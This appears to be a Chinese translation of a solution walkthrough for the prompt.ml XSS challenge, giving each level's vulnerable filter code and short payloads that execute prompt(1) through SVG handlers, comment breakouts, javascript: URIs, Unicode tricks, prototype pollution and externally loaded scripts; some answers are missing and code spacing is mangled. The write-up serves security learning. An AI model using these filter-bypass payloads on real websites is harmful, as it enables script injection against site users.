挑戰地址:http://prompt.ml/0
from:https://github.com/cure53/xss-challenge-wiki/wiki/prompt.ml
規則:
-
成功執行
prompt(1)
-
payload不需要用戶交互
-
payload必須對下述瀏覽器有效:
-
Chrome(最新版) – Firefox(最新版) – IE10 及以上版本(或者IE10兼容模式) 4. 每個級別至少給出兩種瀏覽器的答案 5. 字符越少越好
Level 0
代碼
| function escape(input) { // warm up // script should be executed without user interaction return '<input type="text" value="' + input + '">'; } |
答案
|
"><svg/onload=prompt(1)>
|
這個payload 24個字符。還有一個比較不常用的技巧,在IE10下,當頁面第一次加載時,會調用
resize
事件,這個payload只有20個字符
背景知識
resize
事件在IE10及以下版本有效,IE11沒有用。並且不需要用戶交互。 更多信息:http://msdn.microsoft.com/en-us/library/ie/ms536959%28v=vs.85%29.aspx
Level 1
該級別實際是簡單的過濾了>
,需要繞過以下即可。
代碼
|
functionescape(input){
//
tags stripping mechanism from ExtJS library
//
Ext.util.Format.stripTags
varstripTagsRE=/<\/?[^>]+>/gi;
input=input.replace(stripTagsRE,'');
return'<article>'+input+'</article>';
}
|
答案
注:譯者使用js改版
http://sectest.sinaapp.com/xss/level1.php,測試答案爲
|
<svg/onload=prompt(1)//
|
Level 2
該級別過濾了=
、(
兩種符號。
代碼
| function escape(input) { // v-- frowny face input = input.replace(/[=(]/g, ''); // ok seriously, disallows equal signs and open parenthesis return input; } |
答案
Firefox 和IE下的答案(29個字符)
|
<svg><script>prompt&#40;1)<b>
|
Chrome下需要script閉合標籤,所以上述payload不成功。最短的答案如下(35個字符)
| <svg><script>prompt&#40;1)</script> |
未來所有的瀏覽器支持ES6,還可以使用下述編碼:
|
<script>eval.call`${'prompt\x281)'}`</script>
|
或者
| <script>eval.call`${'prompt\x281)'}`</script> |
背景知識
由於xml編碼特性。在SVG向量裏面的<script>
元素(或者其他CDATA元素 ),會先進行xml解析。因此(
(十六進制)或者(
(十進制)或者&lpar;
(html實體編碼)會被還原成(
。
Level 3
過濾了->
。但是2012已經公佈,html5的註釋標籤不僅可以使用-->
,還可以使用--!>
。
代碼
|
functionescape(input){
//
filter potential comment end delimiters
input=input.replace(/->/g,'_');
//
comment the input to avoid script execution
return'<!--
'+input+'
-->';
}
|
25個字符通殺三個瀏覽器如下:
| --!><svg/onload=prompt(1) |
Level 4
這個題目是利用url的特性繞過,瀏覽器支持這樣的url:http://user:[email protected]。但是http://user:password/@attacker.com
是不允許的。由於這裏的正則特性和decodeURIComponent
函數,所以可以使用%2f
繞過,如下:http://prompt.ml%[email protected]
。所以域名越短,答案就越短。
代碼
1
2
3
4
5
6
7
8
9
10
11
12
|
functionescape(input){
//
make sure the script belongs to own site
//
sample script: http://prompt.ml/js/test.js
if(/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input)))
{
varscript=document.createElement('script');
script.src=input;
returnscript.outerHTML;
}else{
return'Invalid
resource.';
}
}
|
答案
Level 5
過濾了>
,過濾了onXXX=
,過濾了focus
,所以不能使用autofocus
。但是可以使用js的換行\n
繞過onXXX=
,IE下依然可以使用onresize
代碼
|
functionescape(input){
//
apply strict filter rules of level 0
//
filter ">" and event handlers
input=input.replace(/>|on.+?=|focus/gi,'_');
return'<input
value="'+input+'"
type="text">';
}
|
答案: 一種答案是,可以提交設置
type
爲
image
,後面的
type
不能覆蓋前面的設置。
| "type=image src onerror ="prompt(1) |
IE下可以使用更短的答案:
Level 6
雖然有過濾,但是可以將輸入插入到form表單的action
中。
代碼
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | function escape(input) { // let's do a post redirection try { // pass in formURL#formDataJSON // e.g. http://httpbin.org/post#{"name":"Matt"} var segments = input.split('#'); var formURL = segments[0]; var formData = JSON.parse(segments[1]); var form = document.createElement('form'); form.action = formURL; form.method = 'post'; for (var i in formData) { var input = form.appendChild(document.createElement('input')); input.name = i; input.setAttribute('value', formData[i]); } return form.outerHTML + ' \n\ <script> \n\ // forbid javascript: or vbscript: and data: stuff \n\ if (!/script:|data:/i.test(document.forms[0].action)) \n\ document.forms[0].submit(); \n\ else \n\ document.write("Action forbidden.") \n\ </script> \n\ '; } catch (e) { return 'Invalid form data.'; } } |
答案
33個字符
|
javascript:prompt(1)#{"action":1}
|
IE下可以使用vbscript減少字符
| vbscript:prompt(1)#{"action":1} |
Level 7
可以使用js註釋繞過。如下:
|
<pclass="comment"title=""><svg/a="></p>
<p
class="comment"
title=""οnlοad='/*"></p>
<pclass="comment"title="*/prompt(1)'"></p>
|
代碼
| function escape(input) { // pass in something like dog#cat#bird#mouse... var segments = input.split('#'); return segments.map(function(title) { // title can only contain 12 characters return '<p class="comment" title="' + title.slice(0, 12) + '"></p>'; }).join('\n'); } |
答案
34個字符:
|
"><svg/a=#"onload='/*#*/prompt(1)'
|
IE下31個字符
| "><script x=#"async=#"src="//⒛₨ <p class="comment" title=""><script x="></p> <p class="comment" title=""async="></p> <p class="comment" title=""src="//⒛₨"></p> |
背景知識
小技巧:IE下可以使用##async##來加載不需要閉合的script文件。如下:
|
<scriptsrc="test.js"async>
|
Level 8
這題使用的兩個技巧
-
<LS>
是U+2028,是Unicode中的行分隔符。 -
<PS>
是U+2029,是Unicode中的段落分隔符。
另外-->
,也可以在js中當註釋使用,資料:https://javascript.spec.whatwg.org/#comment-syntax,因此我們構造答案如下:
| <script> // console.log(" prompt(1) -->"); </script> |
代碼
|
functionescape(input){
//
prevent input from getting out of comment
//
strip off line-breaks and stuff
input=input.replace(/[\r\n</"]/g,
'');
return
' \n\
<script> \n\
//
console.log("'
+ input + '"); \n\
</script>';
}
|
答案
Chrome和Firefox下 14個字符
| [U+2028]prompt(1)[U+2028]--> |
背景知識
比較奇怪的是,js中的換行符跟unicode中的不一致。另外,HTML代碼的註釋可以在Javascript中使用
Level 9
該題使用正則<([a-zA-Z])
,導致無法注入HTML標籤。但是toUpperCase()函數是支持Unicode函數。字符ſ
經過函數toUpperCase()處理後,會變成ASCII碼字符”S”。
代碼
|
functionescape(input){
//
filter potential start-tags
input=input.replace(/<([a-zA-Z])/g,'<_$1');
//
use all-caps for heading
input=input.toUpperCase();
//
sample input: you shall not pass! => YOU SHALL NOT PASS!
return'<h1>'+input+'</h1>';
}
|
答案
26個字符通殺瀏覽器的答案
| <ſcript/ſrc=//⒕₨></ſcript> |
或者使用async
|
<ſcript/async/src=//⒛₨>
|
Level 10
這個題目使用兩個正則過濾。比較容易
代碼
| function escape(input) { // (╯°□°)╯︵ ┻━┻ input = encodeURIComponent(input).replace(/prompt/g, 'alert'); // ┬──┬ ノ( ゜-゜ノ) chill out bro input = input.replace(/'/g, ''); // (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO return '<script>' + input + '</script> '; } |
答案
Level 11
這個題目直接允許注入數據到script標籤裏面,但是過濾了特殊符號。這裏的技巧是使用一個數據或者字母擁有操作符的功能,就是in
代碼
| function escape(input) { // name should not contain special characters var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, ''); // data to be parsed as JSON var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}'; // directly "parse" data in script context return ' \n\ <script> \n\ var data = ' + dataString + '; \n\ if (data.action === "login") \n\ document.write(data.message) \n\ </script> '; } |
答案
|
"(prompt(1))in"
<script>
vardata={"action":"login","message":"Welcome
back, "(prompt(1))in"."};
if(data.action==="login")
document.write(data.message)
</script>
|
背景知識
"test"(alert(1))
雖然會提示語法錯誤,
但是還是會執行js語句。類似的alert(1)in"test"
也是一樣。可以在控制檯下使用F12執行
Level 12
該題主要是利用toString()解答。eval可以直接執行字符串。如下:
| parseInt("prompt",36); //1558153217 |
因此,
- 可以使用
eval((1558153217).toString(36))(1)
- 還可以
eval(1558153217..toString(36))(1)
- 還可以
eval(630038579..toString(30))(1)
代碼
|
functionescape(input){
//
in Soviet Russia...
input=encodeURIComponent(input).replace(/'/g,
'');
//
table flips you!
input
= input.replace(/prompt/g, 'alert');
//
ノ┬─┬ノ ︵ ( \o°o)\
return
'<script>'
+ input + '</script>';
}
|
答案
32個字符通殺所有瀏覽器
| eval(630038579..toString(30))(1) // Hexadecimal alternative (630038579 == 0x258da033): eval(0x258da033.toString(30))(1) |
還有一種比較暴力的方法是,通過循環執行self裏面的函數,來查找prompt執行(firfox下測試有效)
|
for((i)in(self))eval(i)(1)
|
Level 13
這個題目涉及到js中的__proto__
,每個對象都會在其內部初始化一個屬性,就是__proto__
,當我們訪問對象的屬性時,如果對象內部不存在這個屬性,那麼就會去__proto__
裏面找這個屬性,這個__proto__
又會有自己的__proto__
,一直這樣找下去。可以再Chrome控制檯中測試:
| config = { "source": "_-_invalid-URL_-_", "__proto__": { "source": "my_evil_payload" } } |
輸入
|
deleteconfig.source
config.source
|
返回
還有一個技巧是,replace()這個函數,他還接受一些特殊的匹配模式https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#Description 翻譯如下:
|
$`替換查找的字符串,並且在頭部加上比配位置前的字符串部分
|
舉個例子就是:
| '123456'.replace('34','$`xss') |
返回
代碼
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | function escape(input) { // extend method from Underscore library // _.extend(destination, *sources) function extend(obj) { var source, prop; for (var i = 1, length = arguments.length; i < length; i++) { source = arguments[i]; for (prop in source) { obj[prop] = source[prop]; } } return obj; } // a simple picture plugin try { // pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"} var data = JSON.parse(input); var config = extend({ // default image source source: 'http://placehold.it/350x150' }, JSON.parse(input)); // forbit invalid image source if (/[^\w:\/.]/.test(config.source)) { delete config.source; } // purify the source by stripping off " var source = config.source.replace(/"/g, ''); // insert the content using mustache-ish template return '<img src="{{source}}">'.replace('{{source}}', source); } catch (e) { return 'Invalid image data.'; } } |
答案
59個字符,通殺所有瀏覽器
|
{"source":{},"__proto__":{"source":"$`οnerrοr=prompt(1)>"}}
|
Level 14
這個題目使用base64繞過。
代碼
| function escape(input) { // I expect this one will have other solutions, so be creative :) // mspaint makes all file names in all-caps :( // too lazy to convert them back in lower case // sample input: prompt.jpg => PROMPT.JPG input = input.toUpperCase(); // only allows images loaded from own host or data URI scheme input = input.replace(/\/\/|\w+:/g, 'data:'); // miscellaneous filtering input = input.replace(/[\\&+%\s]|vbs/gi, '_'); return '<img src="' + input + '">'; } |
答案
firfox下94個字符
|
"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=
|
IE下
| "><script/async/src="/〳⒛₨ <img src=""><SCRIPT/ASYNC/SRC="/〳⒛₨"> |
背景知識
這裏再次使用了Unicode字符繞過。
Level 15
過濾了,所以不能使用js註釋/,但是前面也提到了,html裏面的<!--
,-->
同樣可以在js中使用,如下
|
<pclass="comment"title=""><svg><!--"
data-comment='{"id":0}'></p>
<p
class="comment"
title="--><script><!--"
data-comment='{"id":1}'></p>
<p
class="comment"
title="-->prompt(1<!--"
data-comment='{"id":2}'></p>
<p
class="comment"
title="-->)</script>"
data-comment='{"id":3}'></p>
|
代碼
| function escape(input) { // sort of spoiler of level 7 input = input.replace(/\*/g, ''); // pass in something like dog#cat#bird#mouse... var segments = input.split('#'); return segments.map(function(title, index) { // title can only contain 15 characters return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>'; }).join('\n'); } |
答案
57個字符
|
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>
|
在Firefox和IE下,
</script>
不需要,可以減少到42個字符
| "><svg><!--#--><script><!--#-->prompt(1)</ |
在最新的Firefox Aurora版本上,還可以如下(譯者未測試):
|
"><script>`#${prompt(1)}#`</script>
|
Hidden Level
這裏主要使用了兩個非常有用的技巧,第一個是javascript的變量提升,以下語法可以在chrome下F12執行
| function functionDeclaration(a,b,c) { alert('Function declared with ' + functionDeclaration.length + ' parameters'); } functionDeclaration(); //alert > Function declared with 3 parameters |
還有一個技巧就是第13題提到的
replace()
的匹配技巧,使用
$&
,測試如下:
|
'123456'.replace('34','$&x')
'1234x56' //x
直接插入到 查找到的 34位置
|
所以可以構造下面的代碼
| if (history.length > 1337) { // you can inject any code here // as long as it will be executed function history(l,o,r,e,m...1338 times...){{injection}} prompt(1) } |
code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
functionescape(input){
//
WORLD -1
//
strip off certain characters from breaking conditional statement
input=input.replace(/[}<]/g,'');
return'
\n\
<script>
\n\
if
(history.length > 1337) { \n\
//
you can inject any code here \n\
//
as long as it will be executed \n\
{{injection}} \n\
} \n\
</script> \n\
'.replace('{{injection}}',input);
}
|
答案
總共2704個字母